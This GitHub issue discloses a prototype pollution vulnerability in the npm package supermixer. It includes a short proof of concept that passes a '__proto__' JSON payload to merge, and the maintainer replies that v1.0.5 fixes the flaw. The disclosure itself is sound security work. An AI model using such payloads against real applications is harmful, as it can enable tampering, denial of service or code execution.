Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prototype pollution #9

Closed
u0pattern opened this issue Aug 20, 2020 · 1 comment
Closed

Prototype pollution #9

u0pattern opened this issue Aug 20, 2020 · 1 comment

Comments

@u0pattern
Copy link

I would like to report a Prototype pollution in supermixer, It allows an attacker to modify the prototype of a base object which can vary in severity depending on the implementation.

Vulnerability Description:

Prototype Pollution is a vulnerability affecting JavaScript, Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects.

Proof of Concept:

var mixer = require('supermixer');
var payload = '{"__proto__":{"poc":"evil"}}';
var test = {};
console.log("Before: ", test.poc);
mixer.merge({},JSON.parse(payload));
console.log("After: ", test.poc);

Impact :

DoS, Access to restricted data, RCE (depends on implementation)

@koresar
Copy link
Member

koresar commented Aug 20, 2020

Fixed in v1.0.5
v1.0.4...v1.0.5

@koresar koresar closed this as completed Aug 20, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants